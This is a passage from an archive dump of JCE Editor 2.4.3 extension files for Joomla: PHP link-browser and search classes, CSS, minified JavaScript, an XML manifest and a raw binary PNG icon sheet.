(defined('JPATH_PLATFORM')) { $categories = WFLinkBrowser::getCategory('com_contact', $args->id); foreach ($categories as $category) { $children = WFLinkBrowser::getCategory('com_contact', $category->id); // language if (isset($category->language)) { $language = $category->language; } if ($children) { $id = ContactHelperRoute::getCategoryRoute($category->id, $language); } else { $id = ContactHelperRoute::getCategoryRoute($category->slug, $language); } // convert to SEF $url = self::route($id); $items[] = array( 'url' => $url, 'id' => $id, 'name' => $category->title . ' / ' . $category->alias, 'class' => 'folder content' ); } } $contacts = self::_contacts($args->id); foreach ($contacts as $contact) { // language if (isset($contact->language)) { $language = $contact->language; } if (defined('JPATH_PLATFORM')) { $id = ContactHelperRoute::getContactRoute($contact->id, $args->id, $language); } else { $catid = $args->id ? '&catid=' . $args->id : ''; $itemid = WFLinkBrowser::getItemId('com_contact', array('contact' => $contact->id)); if (!$itemid && isset($args->Itemid)) { // fall back to the parent item's Itemid $itemid = '&Itemid=' . $args->Itemid; } $id = 'index.php?option=com_contact&view=contact' . $catid . '&id=' . $contact->id . '-' . $contact->alias . $itemid; } $id = self::route($id); $items[] = array( 'id' => $id, 'name' => $contact->name . ' / ' . $contact->alias, 'class' => 'file' ); } break; } return $items; } private static function route($url) { $wf = WFEditorPlugin::getInstance(); if ($wf->getParam('links.joomlalinks.sef_url', 0)) { $url = WFLinkExtension::route($url); } return $url; } private static function _contacts($id) { $db = JFactory::getDBO(); $user = JFactory::getUser(); $where = ''; $version = new JVersion(); $language = $version->isCompatible('3.0') ? ', language' : ''; $query = $db->getQuery(true); if (is_object($query)) { $query->select('id, name, alias' . $language)->from('#__contact_details')->where(array('catid='. (int) $id, 'published = 1', 'access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')')); } else { $query = 'SELECT id, name, alias' . ' FROM #__contact_details' . ' WHERE catid = ' . (int) $id . ' AND published = 1' . ' AND access <= ' . (int) $user->get('aid') . ' ORDER BY name' ; } $db->setQuery($query); return $db->loadObjectList(); } } ?>com_jce/editor/extensions/links/joomlalinks/css/index.html000066600000000054150771500630020066 0ustar00com_jce/editor/extensions/links/joomlalinks/css/joomlalinks.css000066600000001437150771500630021133 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ div.tree ul li div.tree-row span.folder.contact{background:url(../img/icons.png) no-repeat 0 -20px;}div.tree ul li div.tree-row span.folder.content{background:url(../img/icons.png) no-repeat 0 -40px;}div.tree ul li div.tree-row span.file{background:url(../img/icons.png) no-repeat 0 -140px;}div.tree ul li div.tree-row span.folder.weblink{background:url(../img/icons.png) no-repeat 0 -60px;}div.tree ul li div.tree-row span.folder.menu{background:url(../img/icons.png) no-repeat 0 -80px;}div.tree ul li div.tree-row span.file.anchor{background:url(../img/icons.png) no-repeat 0 -160px;}com_jce/editor/extensions/links/joomlalinks/menu.php000066600000027260150771500630016766 0ustar00 $browser =JContentEditor::getInstance(); * * @access public * @return JCE The editor object. * @since 1.5 */ public static function getInstance() { static $instance; if (!is_object($instance)) { $instance = new JoomlalinksMenu(); } return $instance; } public function getOption() { return $this->_option; } public function getList() { $wf = WFEditorPlugin::getInstance(); if ($wf->checkAccess('links.joomlalinks.menu', 1)) { return '
  • '; } } public function getLinks($args) { $items = array(); $view = isset($args->view) ? $args->view : ''; switch ($view) { // create top-level (non-linkable) menu types default: $types = self::_types(); foreach ($types as $type) { $items[] = array( 'id' => 'index.php?option=com_menu&view=menu&type=' . $type->id, 'name' => $type->title, 'class' => 'folder menu nolink' ); } break; // get menus and sub-menus case 'menu': $type = isset($args->type) ? $args->type : 0; $id = $type ? 0 : $args->id; $menus = self::_menu($id, $type); foreach ($menus as $menu) { $class = array(); if (defined('JPATH_PLATFORM')) { $params = new JRegistry($menu->params); } else { $params = new JParameter($menu->params); } switch ($menu->type) { case 'separator': if (!$menu->link) { $class[] = 'nolink'; } $link = ''; break; case 'alias': // If this is an alias use the item id stored in the parameters to make the link. $link = 'index.php?Itemid=' . $params->get('aliasoptions'); break; default: // resolve link $link = self::_resolveLink($menu); break; } $children = (int) self::_children($menu->id); $title = isset($menu->name) ? $menu->name : $menu->title; if ($children) { $class = array_merge($class, array('folder', 'menu')); } else { $class[] = 'file'; } if ($params->get('secure')) { $link = self::toSSL($link); } // language if (isset($menu->language)) { $link .= $this->getLangauge($menu->language); } $items[] = array( 'id' => $children ? 'index.php?option=com_menu&view=menu&id=' . $menu->id : $link, 'url' => self::route($link), 'name' => $title . ' / ' . $menu->alias, 'class' => implode(' ', $class) ); } break; // get menu items case 'submenu': $menus = self::_menu($args->id); foreach ($menus as $menu) { if ($menu->type == 'menulink') { //$menu = AdvlinkMenu::_alias($menu->id); } $title = isset($menu->name) ? $menu->name : $menu->title; // get params if (defined('JPATH_PLATFORM')) { $params = new JRegistry($menu->params); } else { $params = new JParameter($menu->params); } // resolve link $link = self::_resolveLink($menu); // language if (isset($menu->language)) { $link .= $this->getLangauge($menu->language); } if ($params->get('secure')) { $link = self::toSSL($link); } $items[] = array( 'id' => self::route($link), 'name' => $title . ' / ' . $menu->alias, 'class' => $children ? 'folder menu' : 'file' ); } break; } return $items; } /** * Convert link to SSL * @param type $link * @return string */ private static function toSSL($link) { if (strcasecmp(substr($link, 0, 4), 'http') && (strpos($link, 'index.php?') !== false)) { $uri = JURI::getInstance(); // Get prefix $prefix = $uri->toString(array('host', 'port')); // trim slashes $link = trim($link, '/'); // Build the URL. $link = 'https://' . $prefix . '/' . $link; } return $link; } private static function _resolveLink($menu, $secure) { $wf = WFEditorPlugin::getInstance(); // get link from menu object $link = $menu->link; // internal link if ($link && strpos($link, 'index.php') === 0) { if ($wf->getParam('links.joomlalinks.menu_resolve_alias', 1) == 1) { // no Itemid if (strpos($link, 'Itemid=') === false) { $link .= '&Itemid=' . $menu->id; } // short link } else { $link = 'index.php?Itemid=' . $menu->id; } } return $link; } private function _types() { $db = JFactory::getDBO(); $query = $db->getQuery(true); if (is_object($query)) { $query->select('*')->from('#__menu_types')->order('title'); } else { $query = 'SELECT * FROM #__menu_types ORDER By title'; } $db->setQuery($query, 0); return $db->loadObjectList(); } private function _alias($id) { $db = JFactory::getDBO(); $user = JFactory::getUser(); $query = $db->getQuery(true); if (is_object($query)) { $query->select('params')->from('#__menu')->where('id = ' . (int) $id); } else { $query = 'SELECT params FROM #__menu WHERE id = ' . (int) $id; } $db->setQuery($query, 0); $params = new JRegistry($db->loadResult()); $query->clear(); if (is_object($query)) { $query->select('id, name, link, alias')->from('#__menu')->where(array('published = 1', 'id = ' . (int) $params->get('menu_item'), 'access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')'))->order('name'); } else { $query = 'SELECT id, name, link, alias' . ' FROM #__menu' . ' WHERE published = 1' . ' AND id = ' . (int) $params->get('menu_item') . ' AND access <= ' . (int) $user->get('aid') . ' ORDER BY name'; } $db->setQuery($query, 0); return $db->loadObject(); } private function _children($id) { $db = JFactory::getDBO(); $user = JFactory::getUser(); $query = $db->getQuery(true); if (is_object($query)) { $query->select('COUNT(id)')->from('#__menu')->where(array('published = 1', 'client_id = 0', 'access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')')); if ($id) { $query->where('parent_id = ' . (int) $id); } } else { if ($id) { $where = ' AND parent = ' . (int) $id; } $query = 'SELECT COUNT(id)' . ' FROM #__menu' . ' WHERE published = 1' . ' AND access <= ' . (int) $user->get('aid') . $where; } $db->setQuery($query, 0); return $db->loadResult(); } private function _menu($parent = 0, $type = 0) { $db = JFactory::getDBO(); $user = JFactory::getUser(); $query = $db->getQuery(true); if (is_object($query)) { $query->select('m.*')->from('#__menu AS m'); if ($type) { $query->innerJoin('#__menu_types AS s ON s.id = ' . (int) $type); $query->where('m.menutype = s.menutype'); } if ($parent == 0) { $parent = 1; } $query->where(array('m.published = 1', 'm.access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')', 'm.parent_id = ' . (int) $parent)); $query->order('m.lft ASC'); } else { $where = ''; $join = ''; if ($type) { $join = ' INNER JOIN #__menu_types AS s ON s.id = ' . intval($type); $where = ' AND m.menutype = s.menutype'; } $query = 'SELECT m.* FROM #__menu AS m' . $join . ' WHERE m.published = 1' . ' AND m.access <= ' . (int) $user->get('aid') . ' AND m.parent = ' . (int) $parent . $where . ' ORDER BY m.lft ASC' ; } $db->setQuery($query, 0); return $db->loadObjectList(); } private function getLangauge($language) { $db = JFactory::getDBO(); $query = $db->getQuery(true); $link = ''; if (is_object($query)) { $query->select('a.sef AS sef'); $query->select('a.lang_code AS lang_code'); $query->from('#__languages AS a'); $db->setQuery($query); $langs = $db->loadObjectList(); foreach ($langs as $lang) { if ($language == $lang->lang_code) { $language = $lang->sef; $link .= '&lang=' . $language; } } } return $link; } private static function route($url) { $wf = WFEditorPlugin::getInstance(); if ($wf->getParam('links.joomlalinks.sef_url', 0)) { $url = WFLinkExtension::route($url); } return $url; } } ?> com_jce/editor/extensions/links/joomlalinks/img/icons.png000066600000012330150771500630017676 0ustar00PNG  IHDR iCCPICC Profile(TOA-b""6l1)4 FA$z$l 7`z1d!ԍ:55wO:zi c l,2qd#>("ⶬ^a;5'F" iZ+*Zqޤ 'QX\qQL8q-jʃ_ym1) ɝv KDHjrG ` *u{븕޲@˪g3\g0laS,+@5?eϚ漯ն~4<ع_}R Adobe Fireworks CS5 11.0.0.484 Macintosh Ifn=IDATh{p\}?ܻ+I~,ٵȎ)$Ly4LBGԙv $L@3a6褍)L3ngq1㗂L?aڕ֫ݽ{.+ݕCf읽|s֚3䇊4 'k7lX)qf7?iFp7gvbʞ능糯\##ax+lVa>1ovw38<\lxWļyalV =t]y%{f0q`"ÇJ0%8U t-X+r.<\<+ҵ`ppBn8)v:-]]@M 3gd|r@MM0Mt03d4;xOvvRWWwd$cC2~ =֤ۖ-#$йhH'\k{^϶RFֲ8{{c VcXLo l: 9G|؏> H/3?|rJZ[G(ʑ#Gx|׮kKlݼDi_ߔm 9eM%J1::>v՚N ! `MSJ$ ~S\x#ok׮]`D"׽7hrZ$_֚H$Ž}R3{G:DWW1;nD? Dc1gb?}'wx7j)9:f$n"oTLZ_[_u$!qV%z0'OSԘfQ##&R+i R 9sPJP6M X4v])>bxF)R˗c66q:bC:L&!HX+R__O<'"pyk+P)%(5&ZWahRh /F)*0 -%Hsj*:-E֚z2 3cb߼;׋$,]kv9RPLOkZfO2BK&5)9 'JƆϞZ~ KS_H])cpYYxcݩ2%~qWL=Fۣp\uT)aS>1=Y69HiH~9ri>wRJˮc,iHi璆:i/SJZ!x)ޡwϟ "~y c2cWneeJK$уhϞW{Y>eʽc:Vbì%T%0L];קʱί\MTghavc#--4aҬR_ XW]?[΂FĻ'I=łK5! rE%jfb{')'%ΜL $v\ 1[[vv۶],+ _ߺuk_rkmiiYYXVqZb!G~xF`jRʨeY {{{q]kRpΝuSN4Mjժm}%㦔ZsNT~Bttt܌\.gTlѣ,_@ @2 T¸L&YlNeV\G?с|F2;nB}gΜy<9]~z,c|?ȸr9öqV0Lr+Pu*1 [aa܄ujR%Klm"EMQ8Lɣ>*(S(غiӉRGb՚;)(Ǐub\NJ!xСq)(y2@/~]j)lf*<ʄkG)jZv~bblEy_@;ĭBu)d˕Am(}}}Ez4b,֧&ty.0,G_OgVK >99üG)a"@)EdXSXűC<醰B@CC؆Hy7J&I_H|h OoWN\H5 |eBH,HƋ_`&;nXtl 6+2 D`[*([V̊ K-y_hM[O84 )"0D"pⴊj@&hCͷCd{Z%4BZS)!D=0mf9uz"/{e鳙>J wΝ烕?B&Ǿa1AƗ?zjŅ?Ļ{9ӱuܯu.7i <ٻ8R7O)L'{q|_}} WS W8ݗckrBR̼hV^{˒OoeX!DeMIfz^ҕ5pObc8YFU\M9~FĦ(mιMD+hO5e,.>OZdZ'y@J\ɧϰO+_E|/C7_0yʕ|*AEI(RB-DbOrwrRbHia򵔼)cXէHRׇ-[ ? #ml~C;T)Zko۾}g۷oooZI#ȷiH$j'T*Ύ;~ǎR;U;LXyX <8xG{6 50Eh Ø8@[[7Zv] 0ru'=U^z饾x(2PJe vcVXѶdɒ|Svضm[߬Y֭cK&97d2#ݱe֬Ym۶mst]hkh[z7soFL)f4TG[7n7W^@[[GbM.>DF|ug'LӼw3ivv.{^ԥ"ȺIτBwӝKڱUٹݻP(3~.P:v,ˡ6mBlf/vy2$ZabS0[ǗK(`Te(0&ƴ"`\!DyV8 je/vQBSIENDB`com_jce/editor/extensions/links/joomlalinks/img/index.html000066600000000054150771500630020052 0ustar00com_jce/editor/extensions/links/joomlalinks/content.php000066600000042041150771500630017466 0ustar00 $browser =JContentEditor::getInstance(); * * @access public * @return JCE The editor object. * @since 1.5 */ public static function getInstance() { static $instance; if (!is_object($instance)) { $instance = new JoomlalinksContent(); } return $instance; } public function getOption() { return $this->_option; } public function getList() { $wf = WFEditorPlugin::getInstance(); if ($wf->checkAccess('links.joomlalinks.content', 1)) { return '
  • '; } } public function getLinks($args) { $wf = WFEditorPlugin::getInstance(); require_once(JPATH_SITE . '/components/com_content/helpers/route.php'); $items = array(); $view = isset($args->view) ? $args->view : ''; $language = ''; switch ($view) { // get top-level sections / categories default: $sections = self::_getSection(); foreach ($sections as $section) { $url = ''; // Joomla! 1.5 if (method_exists('ContentHelperRoute', 'getSectionRoute')) { $id = ContentHelperRoute::getSectionRoute($section->id); $view = 'section'; } else { if (isset($category->language)) { $language = $category->language; } $id = ContentHelperRoute::getCategoryRoute($section->slug, $language); $view = 'category'; } if (strpos($id, 'index.php?Itemid=') !== false) { $url = self::_getMenuLink($id); $id = 'index.php?option=com_content&view=' . $view . '&id=' . $section->id; } $items[] = array( 'url' => self::route($url), 'id' => $id, 'name' => $section->title, 'class' => 'folder content' ); } // Check Static/Uncategorized permissions if (!defined('JPATH_PLATFORM') && $wf->checkAccess('static', 1)) { $items[] = array( 'id' => 'option=com_content&view=uncategorized', 'name' => WFText::_('WF_LINKS_JOOMLALINKS_UNCATEGORIZED'), 'class' => 'folder content nolink' ); } break; // get categories in section or sub-categories (Joomla! 1.6+) case 'section': $articles = array(); // Joomla! 1.5 if (method_exists('ContentHelperRoute', 'getSectionRoute')) { $categories = WFLinkBrowser::getCategory($args->id, 'com_content'); } else { $categories = WFLinkBrowser::getCategory('com_content', $args->id); // get any articles in this category (in Joomla! 1.6+ a category can contain sub-categories and articles) $articles = self::_getArticles($args->id); } foreach ($categories as $category) { $url = ''; if (isset($category->language)) { $language = $category->language; } $id = ContentHelperRoute::getCategoryRoute($category->id, $args->id, $language); if (strpos($id, 'index.php?Itemid=') !== false) { $url = self::_getMenuLink($id); $id = 'index.php?option=com_content&view=category&id=' . $category->id; } $items[] = array( 'url' => self::route($url), 'id' => $id, 'name' => $category->title . ' / ' . $category->alias, 'class' => 'folder content' ); } if (!empty($articles)) { // output article links foreach ($articles as $article) { // Joomla! 1.5 if (isset($article->sectionid)) { $id = ContentHelperRoute::getArticleRoute($article->slug, $article->catslug, $article->sectionid); } else { if (isset($article->language)) { $language = $article->language; } $id = ContentHelperRoute::getArticleRoute($article->slug, $article->catslug, $language); } $id = self::route($id); $items[] = array( 'id' => $id, 'name' => $article->title . ' / ' . $article->alias, 'class' => 'file' ); $anchors = self::getAnchors($article->content); foreach ($anchors as $anchor) { $items[] = array( 'id' => $id . '#' . $anchor, 'name' => '#' . $anchor, 'class' => 'file anchor' ); } } } break; // get articles and / or sub-categories case 'category': // get any articles in this category (in Joomla! 1.6+ a category can contain sub-categories and articles) $articles = self::_getArticles($args->id); if (defined('JPATH_PLATFORM')) { // get sub-categories $categories = WFLinkBrowser::getCategory('com_content', $args->id); if (count($categories)) { foreach ($categories as $category) { // check for sub-categories $sub = WFLinkBrowser::getCategory('com_content', $category->id); // language if (isset($category->language)) { $language = $category->language; } $url = ''; $id = ContentHelperRoute::getCategoryRoute($category->id, $language); // get sub-categories if (count($sub)) { $url = $id; $id = 'index.php?option=com_content&view=section&id=' . $category->id; // no sub-categories, get articles for category } else { // no com_content, might be link like index.php?ItemId=1 if (strpos($id, 'index.php?Itemid=') !== false) { $url = $id; //$id; $id = 'index.php?option=com_content&view=category&id=' . $category->id; } } if (strpos($url, 'index.php?Itemid=') !== false) { $url = self::_getMenuLink($url); } $items[] = array( 'url' => self::route($url), 'id' => $id, 'name' => $category->title . ' / ' . $category->alias, 'class' => 'folder content' ); } } } // output article links foreach ($articles as $article) { // Joomla! 1.5 if (isset($article->sectionid)) { $id = ContentHelperRoute::getArticleRoute($article->slug, $article->catslug, $article->sectionid); } else { // language if (isset($article->language)) { $language = $article->language; } $id = ContentHelperRoute::getArticleRoute($article->slug, $article->catslug, $language); } $id = self::route($id); $items[] = array( 'id' => $id, 'name' => $article->title . ' / ' . $article->alias, 'class' => 'file' ); $anchors = self::getAnchors($article->content); foreach ($anchors as $anchor) { $items[] = array( 'id' => $id . '#' . $anchor, 'name' => '#' . $anchor, 'class' => 'file anchor' ); } } break; case 'uncategorized': $statics = self::_getUncategorized(); foreach ($statics as $static) { // language if (isset($static->language)) { $language = $static->language; } $id = ContentHelperRoute::getArticleRoute($static->id, 0, $language); $id = self::route($id); $items[] = array( 'id' => $id, 'name' => $static->title . ' / ' . $static->alias, 'class' => 'file' ); $anchors = self::getAnchors($statics->content); foreach ($anchors as $anchor) { $items[] = array( 'id' => $id . '#' . $anchor, 'name' => '#' . $anchor, 'class' => 'file anchor' ); } } break; } return $items; } private function _getMenuLink($url) { $wf = WFEditorPlugin::getInstance(); // resolve the url from the menu link if ($wf->getParam('links.joomlalinks.article_resolve_alias', 1) == 1) { // get itemid preg_match('#Itemid=([\d]+)#', $url, $matches); // get link from menu if (count($matches) > 1) { $menu = JTable::getInstance('menu'); $menu->load($matches[1]); if ($menu->link) { return $menu->link . '&Itemid=' . $menu->id; } } } return $url; } private function _getSection() { $db = JFactory::getDBO(); $user = JFactory::getUser(); if (method_exists('JUser', 'getAuthorisedViewLevels')) { return WFLinkBrowser::getCategory('com_content'); } else { $query = 'SELECT id, title, alias, access' . ' FROM #__sections' . ' WHERE published = 1' . ' AND access <= ' . (int) $user->get('aid') //. ' GROUP BY id' . ' ORDER BY title' ; $db->setQuery($query); return $db->loadObjectList(); } } private function _getArticles($id) { $db = JFactory::getDBO(); $user = JFactory::getUser(); $wf = WFEditorPlugin::getInstance(); $query = $db->getQuery(true); $version = new JVersion(); $language = $version->isCompatible('3.0') ? ', a.language' : ''; $case = ''; if ($wf->getParam('links.joomlalinks.article_alias', 1) == 1) { if (is_object($query)) { //sqlsrv changes $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('a.alias', '!=', '0'); $case_when1 .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when1 .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $a_id . ' END as slug'; $case_when2 = ' CASE WHEN '; $case_when2 .= $query->charLength('b.alias', '!=', '0'); $case_when2 .= ' THEN '; $c_id = $query->castAsChar('b.id'); $case_when2 .= $query->concatenate(array($c_id, 'b.alias'), ':'); $case_when2 .= ' ELSE '; $case_when2 .= $c_id . ' END as catslug'; } else { $case_when1 = ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(":", a.id, a.alias) ELSE a.id END as slug'; $case_when2 = ' CASE WHEN CHAR_LENGTH(b.alias) THEN CONCAT_WS(":", b.id, b.alias) ELSE b.id END as catslug'; } $case = ',' . $case_when1 . ',' . $case_when2; } if (is_object($query)) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->select('a.id AS slug, b.id AS catslug, a.alias, a.title AS title, a.access, ' . $query->concatenate(array('a.introtext', 'a.fulltext')) . ' AS content' . $language . $case); $query->from('#__content AS a'); $query->innerJoin('#__categories AS b ON b.id = ' . (int) $id); $query->where('a.catid = ' . (int) $id); $query->where('a.access IN (' . $groups . ')'); $query->where('b.access IN (' . $groups . ')'); $query->where('a.state = 1'); $query->order('a.title'); } else { $query = 'SELECT a.id AS slug, b.id AS catslug, a.alias, a.title AS title, u.id AS sectionid, a.access, a.introtext, a.fulltext' . $case . ' FROM #__content AS a' . ' INNER JOIN #__categories AS b ON b.id = ' . (int) $id . ' INNER JOIN #__sections AS u ON u.id = a.sectionid' . ' WHERE a.catid = ' . (int) $id . ' AND a.state = 1' . ' AND a.access <= ' . (int) $user->get('aid') . ' ORDER BY a.title'; } $db->setQuery($query, 0); return $db->loadObjectList(); } private function _getUncategorized() { $db = JFactory::getDBO(); $user = JFactory::getUser(); $version = new JVersion(); $language = $version->isCompatible('3.0') ? ', language' : ''; $query = 'SELECT id, title, alias, access, introtext AS content' . $language . ' FROM #__content' . ' WHERE state = 1' . ' AND access <= ' . (int) $user->get('aid') . ' AND sectionid = 0' . ' AND catid = 0' . ' ORDER BY title'; $db->setQuery($query, 0); return $db->loadObjectList(); } private function getItemId($url) { } private static function getAnchors($content) { preg_match_all('#]+)(name|id)="([a-z]+[\w\-\:\.]*)"([^>]*)>#i', $content, $matches, PREG_SET_ORDER); $anchors = array(); if (!empty($matches)) { foreach ($matches as $match) { if (strpos($match[0], 'href') === false) { $anchors[] = $match[3]; } } } return $anchors; } private static function route($url) { $wf = WFEditorPlugin::getInstance(); if ($wf->getParam('links.joomlalinks.sef_url', 0)) { $url = WFLinkExtension::route($url); } return $url; } } ?>com_jce/editor/extensions/search/js/index.html000066600000000054150771500630015515 0ustar00com_jce/editor/extensions/search/js/link.js000066600000004312150771500630015014 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ var WFLinkSearch=WFExtensions.add('LinkSearch',{options:{element:'#search-input',button:'#search-button',clear:'span.search-icon',empty:'No Results',onClick:$.noop},init:function(options){$.extend(this.options,options);var self=this,el=this.options.element,btn=this.options.button;$(btn).click(function(e){self.search();e.preventDefault();}).button({icons:{primary:'ui-icon-search'}});$(this.options.clear).addClass('ui-icon ui-icon-circle-close').click(function(e){if($(this).hasClass('clear')){$(this).removeClass('clear');$(el).val('');$('#search-result').empty().hide();}});$('#search-options-button').click(function(){$(this).toggleClass('active');var $p=$('#search-options').parent();$('#search-options').height($p.parent().height()-$p.outerHeight()).toggle();}).on('close',function(){$(this).removeClass('active');$('#search-options').hide();});},search:function(){var self=this,s=this.options,el=s.element,btn=s.button,$p=$('#search-result').parent();var query=$(el).val();if(!query||$(el).hasClass('placeholder')){return;} $(this.options.clear).addClass('loading');query=$.trim(query.replace(/[\///<>#]/g,''));$.JSON.request('doSearch',{'json':[query]},function(o){if(o){if(!o.error){$('#search-result').empty();if(o.length){$.each(o,function(i,n){var $dl=$('
    ').appendTo('#search-result');$('
    '+n.text+'
    ').appendTo($dl);if(n.anchors){$.each(n.anchors,function(i,a){$('
    ').text(a).click(function(){self.options.onClick.call(this,$.String.decode(n.link+'#'+a));}).appendTo($dl);});}});$('dl:odd','#search-result').addClass('odd');}else{$('#search-result').append('

    '+s.empty+'

    ');} $('#search-options-button').trigger('close');$('#search-result').height($p.parent().height()-$p.outerHeight()).show();}else{$.Dialog.alert(o.error);}} $(self.options.clear).removeClass('loading').addClass('clear');},self);}});com_jce/editor/extensions/search/index.html000066600000000054150771500630015101 0ustar00com_jce/editor/extensions/search/link.xml000066600000002772150771500630014574 0ustar00 WF_LINK_SEARCH_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_LINK_SEARCH_DESC link.php link link com_jce/editor/extensions/search/css/index.html000066600000000054150771500630015671 0ustar00com_jce/editor/extensions/search/css/link.css000066600000006470150771500630015353 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ div#search-browser span#searchbox{position:relative;}div#search-browser input[type="checkbox"],div#search-browser input[type="radio"]{border:0 none;}div#search-browser button{vertical-align:middle;}div#search-browser span#searchbox input#search-input{height:20px;line-height:18px;margin:0;padding:2px;width:350px;vertical-align:middle;}#jce.ie8 div#search-browser span#searchbox input#search-input{width:346px;}div#search-browser span#searchbox span.search-icon{height:16px;position:absolute;right:4px;top:0;width:16px;visibility:hidden;}div#search-browser span#searchbox span.search-icon.clear{visibility:visible;opacity:.5;filter:alpha(opacity=50);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";cursor:pointer;}div#search-browser span#searchbox span.search-icon.loading{background:url("../../../libraries/img/load.gif") no-repeat center;visibility:visible;}div#search-browser div#search-result{width:100%;height:100%;position:absolute;display:none;background:#fff none;margin:2px 0;border:1px solid #ccc;overflow-x:hidden;overflow-y:scroll;}div#search-browser div#search-result p{color:#DDD;font-size:1.5em;font-weight:bold;margin:1px 2px;padding:10px 0;text-align:center;}div#search-browser div#search-result dl{margin:5px 0;padding:5px;}div#search-browser div#search-result dl dt{cursor:pointer;font-weight:bold;margin:10px 0 5px 0;text-decoration:underline;text-overflow:ellipsis;overflow:hidden;white-space:pre;}div#search-browser div#search-result dl dt:first-child{margin:0 0 5px 0;}div#search-browser div#search-result dl dt.link{background:url("../../../libraries/img/icons.png") no-repeat 0 -400px;line-height:20px;padding:0 0 0 22px;}div#search-browser div#search-result dl dd span.highlight{background:#b4d4ff none;}div#search-browser div#search-result dl dd.text{padding:5px;}div#search-browser div#search-result dl.odd{background-color:#F5F5F5;}div#search-browser div#search-result dl dd.anchor{background:#fff url("../../../libraries/img/icons.png") no-repeat 0 -1280px;line-height:20px;padding:0 0 0 22px;cursor:pointer;}div#search-browser #search-options{display:none;position:absolute;background:#fff none;border:1px solid #ccc;margin:2px 0;-moz-box-shadow:1px 1px 3px #ccc;-webkit-box-shadow:1px 1px 3px #ccc;box-shadow:1px 1px 3px #ccc;z-index:999;width:100%;}div#search-browser #search-options fieldset{margin:5px;padding:5px;}div#search-browser #search-options fieldset div{margin:5px 0;}div#search-browser #search-options label{min-width:40px;}div#search-browser #search-options-button{display:inline-block;cursor:pointer;margin:0 2px;height:20px;background:#ffF none;}div#search-browser #search-options-button span.icon{background:url("../../../libraries/img/icons.png") no-repeat 0 -1260px;width:20px;height:20px;display:inline-block;vertical-align:middle;}div#search-browser #search-options-button.active{height:28px;position:absolute;right:1px;z-index:1000;border:1px solid #ccc;border-bottom:0;width:24px;}div#search-browser #search-options-button.active span.icon{margin:2px;}div#search-options fieldset.search_only ul{list-style:none;padding:0;margin:0;}div#search-options fieldset.search_only ul li{display:inline-block;}com_jce/editor/extensions/search/link.php000066600000021766150771500630014567 0ustar00setRequest(array($this, 'doSearch')); $request->setRequest(array($this, 'getAreas')); $wf = WFEditorPlugin::getInstance(); $plugins = $wf->getParam('search.link.plugins'); // use tested defaults if (empty($plugins)) { $plugins = array('categories', 'contacts', 'content', 'newsfeeds', 'weblinks'); } foreach ($plugins as $plugin) { if (JPluginHelper::isEnabled('search', $plugin)) { JPluginHelper::importPlugin('search', $plugin); } } } public function getInstance() { static $instance; if (!isset($instance)) { $instance = new WFSearchExtension(); } return $instance; } public function display() { parent::display(); $document = WFDocument::getInstance(); $document->addScript(array('link'), 'extensions.search.js'); $document->addStylesheet(array('link'), 'extensions.search.css'); } public function isEnabled() { $wf = WFEditorPlugin::getInstance(); return (bool) $wf->getParam('search.link.enable', 1); } /** * Method to get the search areas */ public function getAreas() { $app = JFactory::getApplication('site'); $areas = array(); $results = array(); $event = WF_JOOMLA15 ? 'onSearchAreas' : 'onContentSearchAreas'; $searchareas = $app->triggerEvent($event); foreach ($searchareas as $area) { if (is_array($area)) { $areas = array_merge($areas, $area); } } foreach ($areas as $k => $v) { $results[$k] = JText::_($v); } return $results; } /* * Render Search fields * This method uses portions of SearchViewSearch::display from components/com_search/views/search/view.html.php * @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. */ public function render() { // built select lists $orders = array(); $orders[] = JHtml::_('select.option', 'newest', JText::_('WF_SEARCH_NEWEST_FIRST')); $orders[] = JHtml::_('select.option', 'oldest', JText::_('WF_SEARCH_OLDEST_FIRST')); $orders[] = JHtml::_('select.option', 'popular', JText::_('WF_SEARCH_MOST_POPULAR')); $orders[] = JHtml::_('select.option', 'alpha', JText::_('WF_SEARCH_ALPHABETICAL')); $orders[] = JHtml::_('select.option', 'category', JText::_('WF_CATEGORY')); $lists = array(); $lists['ordering'] = JHtml::_('select.genericlist', $orders, 'ordering', 'class="inputbox"', 'value', 'text'); $searchphrases = array(); $searchphrases[] = JHtml::_('select.option', 'all', JText::_('WF_SEARCH_ALL_WORDS')); $searchphrases[] = JHtml::_('select.option', 'any', JText::_('WF_SEARCH_ANY_WORDS')); $searchphrases[] = JHtml::_('select.option', 'exact', JText::_('WF_SEARCH_EXACT_PHRASE')); $lists['searchphrase'] = JHtml::_('select.radiolist', $searchphrases, 'searchphrase', '', 'value', 'text', 'all'); $view = $this->getView('search'); $view->assign('searchareas', self::getAreas()); $view->assign('lists', $lists); $view->display(); } /** * Process search * @param type $query Search query * @return array Rerach Results * * This method uses portions of SearchController::search from components/com_search/controller.php * @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. */ public function doSearch($query) { $wf = WFEditorPlugin::getInstance(); $filter = JFilterInput::getInstance(); if (!class_exists('JSite')) { // Load JSite class JLoader::register('JSite', JPATH_SITE . '/includes/application.php'); } $app = 